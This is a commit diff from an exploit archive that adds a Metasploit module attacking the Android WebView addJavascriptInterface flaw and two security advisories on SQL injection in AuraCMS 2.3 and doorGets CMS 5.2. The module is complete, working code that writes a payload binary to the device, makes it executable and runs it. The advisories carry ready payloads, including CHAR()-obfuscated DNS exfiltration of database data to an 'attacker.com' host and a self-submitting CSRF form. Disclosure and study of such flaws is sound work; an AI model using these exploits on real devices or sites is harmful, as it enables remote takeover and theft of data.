Updated 02_09_2014
This commit is contained in:
Offensive Security
parent
b702913b41
commit
06a84a9568
4 changed files with 251 additions and 0 deletions
|
|
@ -28320,3 +28320,6 @@ id,file,description,date,author,platform,type,port
|
|||
31516,platforms/php/webapps/31516.txt,"Serendipity 1.7.5 (Backend) - Multiple Vulnerabilities",2014-02-07,"Stefan Schurtz",php,webapps,80
|
||||
31517,platforms/php/webapps/31517.txt,"CTERA 3.2.29.0 and 3.2.42.0 - Stored XSS",2014-02-07,"Luigi Vezzoso",php,webapps,80
|
||||
31518,platforms/linux/remote/31518.rb,"Pandora FMS Remote Code Execution",2014-02-07,metasploit,linux,remote,8023
|
||||
31519,platforms/hardware/remote/31519.rb,"Android Browser and WebView addJavascriptInterface Code Execution",2014-02-07,metasploit,hardware,remote,0
|
||||
31520,platforms/php/webapps/31520.txt,"AuraCMS 2.3 - Multiple Vulnerabilities",2014-02-07,"High-Tech Bridge SA",php,webapps,80
|
||||
31521,platforms/php/webapps/31521.txt,"doorGets CMS 5.2 - SQL Injection Vulnerability",2014-02-07,"High-Tech Bridge SA",php,webapps,80
|
||||
|
|
|
|||
|
Can't render this file because it is too large.
|
121
platforms/hardware/remote/31519.rb
Executable file
121
platforms/hardware/remote/31519.rb
Executable file
|
|
@ -0,0 +1,121 @@
|
|||
##
|
||||
# This module requires Metasploit: http//metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
class Metasploit3 < Msf::Exploit::Remote
|
||||
|
||||
include Msf::Exploit::Remote::BrowserExploitServer
|
||||
include Msf::Exploit::Remote::BrowserAutopwn
|
||||
|
||||
autopwn_info({
|
||||
:os_flavor => "Android",
|
||||
:arch => ARCH_ARMLE,
|
||||
:javascript => true,
|
||||
:rank => ExcellentRanking,
|
||||
:vuln_test => %Q|
|
||||
for (i in top) {
|
||||
try {
|
||||
top[i].getClass().forName('java.lang.Runtime');
|
||||
is_vuln = true; break;
|
||||
} catch(e) {}
|
||||
}
|
||||
|
|
||||
})
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'Android Browser and WebView addJavascriptInterface Code Execution',
|
||||
'Description' => %q{
|
||||
This module exploits a privilege escalation issue in Android < 4.2's WebView component
|
||||
that arises when untrusted Javascript code is executed by a WebView that has one or more
|
||||
Interfaces added to it. The untrusted Javascript code can call into the Java Reflection
|
||||
APIs exposed by the Interface and execute arbitrary commands.
|
||||
|
||||
Some distributions of the Android Browser app have an addJavascriptInterface
|
||||
call tacked on, and thus are vulnerable to RCE. The Browser app in the Google APIs
|
||||
4.1.2 release of Android is known to be vulnerable.
|
||||
|
||||
A secondary attack vector involves the WebViews embedded inside a large number
|
||||
of Android applications. Ad integrations are perhaps the worst offender here.
|
||||
If you can MITM the WebView's HTTP connection, or if you can get a persistent XSS
|
||||
into the page displayed in the WebView, then you can inject the html/js served
|
||||
by this module and get a shell.
|
||||
|
||||
Note: Adding a .js to the URL will return plain javascript (no HTML markup).
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' => [
|
||||
'jduck', # original msf module
|
||||
'joev' # static server
|
||||
],
|
||||
'References' => [
|
||||
['URL', 'http://blog.trustlook.com/2013/09/04/alert-android-webview-'+
|
||||
'addjavascriptinterface-code-execution-vulnerability/'],
|
||||
['URL', 'https://labs.mwrinfosecurity.com/blog/2012/04/23/adventures-with-android-webviews/'],
|
||||
['URL', 'http://50.56.33.56/blog/?p=314'],
|
||||
['URL', 'https://labs.mwrinfosecurity.com/advisories/2013/09/24/webview-'+
|
||||
'addjavascriptinterface-remote-code-execution/']
|
||||
],
|
||||
'Platform' => 'linux',
|
||||
'Arch' => ARCH_ARMLE,
|
||||
'DefaultOptions' => { 'PrependFork' => true },
|
||||
'Targets' => [ [ 'Automatic', {} ] ],
|
||||
'DisclosureDate' => 'Dec 21 2012',
|
||||
'DefaultTarget' => 0,
|
||||
'BrowserRequirements' => {
|
||||
:source => 'script',
|
||||
:os_flavor => "Android",
|
||||
:arch => ARCH_ARMLE
|
||||
}
|
||||
))
|
||||
end
|
||||
|
||||
def on_request_uri(cli, req)
|
||||
if req.uri.end_with?('js')
|
||||
print_status("Serving javascript")
|
||||
send_response(cli, js, 'Content-type' => 'text/javascript')
|
||||
else
|
||||
super
|
||||
end
|
||||
end
|
||||
|
||||
def on_request_exploit(cli, req, browser)
|
||||
print_status("Serving exploit HTML")
|
||||
send_response_html(cli, html)
|
||||
end
|
||||
|
||||
def js
|
||||
%Q|
|
||||
function exec(obj) {
|
||||
// ensure that the object contains a native interface
|
||||
try { obj.getClass().forName('java.lang.Runtime'); } catch(e) { return; }
|
||||
|
||||
// get the runtime so we can exec
|
||||
var m = obj.getClass().forName('java.lang.Runtime').getMethod('getRuntime', null);
|
||||
var data = "#{Rex::Text.to_hex(payload.encoded_exe, '\\\\x')}";
|
||||
|
||||
// get the process name, which will give us our data path
|
||||
var p = m.invoke(null, null).exec(['/system/bin/sh', '-c', 'cat /proc/$PPID/cmdline']);
|
||||
var ch, path = '/data/data/';
|
||||
while ((ch = p.getInputStream().read()) != 0) { path += String.fromCharCode(ch); }
|
||||
path += '/#{Rex::Text.rand_text_alpha(8)}';
|
||||
|
||||
// build the binary, chmod it, and execute it
|
||||
m.invoke(null, null).exec(['/system/bin/sh', '-c', 'echo "'+data+'" > '+path]).waitFor();
|
||||
m.invoke(null, null).exec(['chmod', '700', path]).waitFor();
|
||||
m.invoke(null, null).exec([path]);
|
||||
|
||||
return true;
|
||||
}
|
||||
|
||||
for (i in top) { if (exec(top[i]) === true) break; }
|
||||
|
|
||||
end
|
||||
|
||||
def html
|
||||
"<!doctype html><html><body><script>#{js}</script></body></html>"
|
||||
end
|
||||
end
|
||||
63
platforms/php/webapps/31520.txt
Executable file
63
platforms/php/webapps/31520.txt
Executable file
|
|
@ -0,0 +1,63 @@
|
|||
Advisory ID: HTB23196
|
||||
Product: AuraCMS
|
||||
Vendor: AuraCMS
|
||||
Vulnerable Version(s): 2.3 and probably prior
|
||||
Tested Version: 2.3
|
||||
Advisory Publication: January 8, 2014 [without technical details]
|
||||
Vendor Notification: January 8, 2014
|
||||
Vendor Patch: January 30, 2014
|
||||
Public Disclosure: February 5, 2014
|
||||
Vulnerability Type: SQL Injection [CWE-89]
|
||||
CVE Reference: CVE-2014-1401
|
||||
Risk Level: Medium
|
||||
CVSSv2 Base Score: 6.5 (AV:N/AC:L/Au:S/C:P/I:P/A:P)
|
||||
Solution Status: Fixed by Vendor
|
||||
Discovered and Provided: High-Tech Bridge Security Research Lab ( https://www.htbridge.com/advisory/ )
|
||||
|
||||
-----------------------------------------------------------------------------------------------
|
||||
|
||||
Advisory Details:
|
||||
|
||||
High-Tech Bridge Security Research Lab discovered two SQL injection vulnerabilities in AuraCMS, which can be exploited to alter SQL queries and execute arbitrary SQL commands in application's database.
|
||||
|
||||
|
||||
1) Multiple SQL Injection Vulnerabilities in AuraCMS: CVE-2014-1401
|
||||
|
||||
1.1 The vulnerability exists due to insufficient validation of "search" HTTP GET parameter passed to "/index.php" script. A remote authenticated attacker can execute arbitrary SQL commands in application's database.
|
||||
|
||||
The exploitation example below displays version of MySQL server:
|
||||
|
||||
http://[host]/index.php?mod=content&action=search&search=1%27%29%2f**%2funion%2f**%2fselect%201,version%28%29,3,4,5,6,7,8,9,10,11,12,13,14,15%20--%202
|
||||
|
||||
|
||||
1.2 The vulnerability exists due to insufficient validation of "CLIENT_IP", "X_FORWARDED_FOR", "X_FORWARDED", "FORWARDED_FOR", "FORWARDED" HTTP headers in "/index.php" script. A remote authenticated attacker can execute arbitrary SQL commands in application's database.
|
||||
|
||||
The exploitation example below displays version of MySQL server:
|
||||
|
||||
|
||||
GET / HTTP/1.1
|
||||
CLIENT_IP: '),('',(select load_file(CONCAT(CHAR(92),CHAR(92),(select version()),CHAR(46),CHAR(97),CHAR(116),CHAR(116),CHAR(97),CHAR(99),CHAR(107),CHAR(101),CHAR(114),CHAR(46),CHAR(99),CHAR(111),CHAR(109),CHAR(92),CHAR(102),CHAR(111),CHAR(111),CHAR(98),CHAR(97),CHAR(114))))) -- 2
|
||||
|
||||
|
||||
-----------------------------------------------------------------------------------------------
|
||||
|
||||
Solution:
|
||||
|
||||
Fixed by vendor on January 30, 2014 directly in the source code without version modification/new release. Update to the version 2.3 released after January 30, 2014.
|
||||
|
||||
More Information:
|
||||
https://github.com/auracms/AuraCMS/commit/4fe9d0d31a32df392f4d6ced8e5c25ed4af19ade
|
||||
|
||||
-----------------------------------------------------------------------------------------------
|
||||
|
||||
References:
|
||||
|
||||
[1] High-Tech Bridge Advisory HTB23196 - https://www.htbridge.com/advisory/HTB23196 - Multiple SQL Injection Vulnerabilities in AuraCMS.
|
||||
[2] AuraCMS - http://auracms.org - AuraCMS is an open source software that will let you manage content of your website.
|
||||
[3] Common Vulnerabilities and Exposures (CVE) - http://cve.mitre.org/ - international in scope and free for public use, CVE® is a dictionary of publicly known information security vulnerabilities and exposures.
|
||||
[4] Common Weakness Enumeration (CWE) - http://cwe.mitre.org - targeted to developers and security practitioners, CWE is a formal list of software weakness types.
|
||||
[5] ImmuniWeb® - http://www.htbridge.com/immuniweb/ - is High-Tech Bridge's proprietary web application security assessment solution with SaaS delivery model that combines manual and automated vulnerability testing.
|
||||
|
||||
-----------------------------------------------------------------------------------------------
|
||||
|
||||
Disclaimer: The information provided in this Advisory is provided "as is" and without any warranty of any kind. Details of this Advisory may be updated in order to provide as accurate information as possible. The latest version of the Advisory is available on web page [1] in the References.
|
||||
64
platforms/php/webapps/31521.txt
Executable file
64
platforms/php/webapps/31521.txt
Executable file
|
|
@ -0,0 +1,64 @@
|
|||
Advisory ID: HTB23197
|
||||
Product: doorGets CMS
|
||||
Vendor: doorGets
|
||||
Vulnerable Version(s): 5.2 and probably prior
|
||||
Tested Version: 5.2
|
||||
Advisory Publication: January 15, 2014 [without technical details]
|
||||
Vendor Notification: January 15, 2014
|
||||
Vendor Patch: January 15, 2014
|
||||
Public Disclosure: February 5, 2014
|
||||
Vulnerability Type: SQL Injection [CWE-89]
|
||||
CVE Reference: CVE-2014-1459
|
||||
Risk Level: Medium
|
||||
CVSSv2 Base Score: 5.1 (AV:N/AC:H/Au:N/C:P/I:P/A:P)
|
||||
Solution Status: Fixed by Vendor
|
||||
Discovered and Provided: High-Tech Bridge Security Research Lab ( https://www.htbridge.com/advisory/ )
|
||||
|
||||
-----------------------------------------------------------------------------------------------
|
||||
|
||||
Advisory Details:
|
||||
|
||||
High-Tech Bridge Security Research Lab discovered vulnerability in doorGets CMS, which can be exploited to perform SQL Injection attacks.
|
||||
|
||||
|
||||
1) SQL Injection in doorGets CMS: CVE-2014-1459
|
||||
|
||||
The vulnerability exists due to insufficient validation of "_position_down_id" HTTP POST parameter passed to "/dg-admin/index.php" script. A remote attacker with access to administrative interface can execute arbitrary SQL commands in application's database. This vulnerability however can be exploited by a remote unauthenticated user via CSRF vector.
|
||||
|
||||
The following exploitation example is based on DNS Exfiltration technique and may be used if the database of the vulnerable application is hosted on a Windows system. The PoC will use a CSRF vector to send a DNS request demanding IP addess for `version()` (or any other sensetive output from the database) subdomain of ".attacker.com" (a domain name, DNS server of which is controlled by the attacker):
|
||||
|
||||
|
||||
<form action="http://[host]/dg-admin/?controller=rubriques" method="post" name="main">
|
||||
<input type="hidden" name="_position_down_id" value="1 AND 1=(select load_file(CONCAT(CHAR(92),CHAR(92),(select version()),CHAR(46),CHAR(97),CHAR(116),CHAR(116),CHAR(97),CHAR(99),CHAR(107),CHAR(101),CHAR(114),CHAR(46),CHAR(99),CHAR(111),CHAR(109),CHAR(92),CHAR(102),CHAR(111),CHAR(111),CHAR(98),CHAR(97),CHAR(114)))) -- ">
|
||||
<input type="hidden" name="_position_down_position" value="1">
|
||||
<input type="hidden" name="_position_down_submit" value="1">
|
||||
<input type="hidden" name="_position_down_type" value="down">
|
||||
<input type="submit" id="btn">
|
||||
</form>
|
||||
<script>
|
||||
document.getElementById('btn').click();
|
||||
</script>
|
||||
|
||||
|
||||
-----------------------------------------------------------------------------------------------
|
||||
|
||||
Solution:
|
||||
|
||||
Fixed by vendor on January 15, 2014 directly in the source code without version modification/new release. Update to the version 5.2 released after January 15, 2014.
|
||||
|
||||
More Information:
|
||||
https://github.com/doorgets/doorGets/commit/6b81541fc1e5dd1c70614585c1a04d04ccdb3b19
|
||||
|
||||
-----------------------------------------------------------------------------------------------
|
||||
|
||||
References:
|
||||
|
||||
[1] High-Tech Bridge Advisory HTB23197 - https://www.htbridge.com/advisory/HTB23197 - SQL Injection in doorGets CMS.
|
||||
[2] doorGets CMS - http://www.doorgets.com - doorGets CMS is a free content management system (CMS), that allows you to create easily your corporate or personal website.
|
||||
[3] Common Vulnerabilities and Exposures (CVE) - http://cve.mitre.org/ - international in scope and free for public use, CVE® is a dictionary of publicly known information security vulnerabilities and exposures.
|
||||
[4] Common Weakness Enumeration (CWE) - http://cwe.mitre.org - targeted to developers and security practitioners, CWE is a formal list of software weakness types.
|
||||
[5] ImmuniWeb® - http://www.htbridge.com/immuniweb/ - is High-Tech Bridge's proprietary web application security assessment solution with SaaS delivery model that combines manual and automated vulnerability testing.
|
||||
|
||||
-----------------------------------------------------------------------------------------------
|
||||
|
||||
Disclaimer: The information provided in this Advisory is provided "as is" and without any warranty of any kind. Details of this Advisory may be updated in order to provide as accurate information as possible. The latest version of the Advisory is available on web page [1] in the References.
|
||||
Loading…
Add table
Reference in a new issue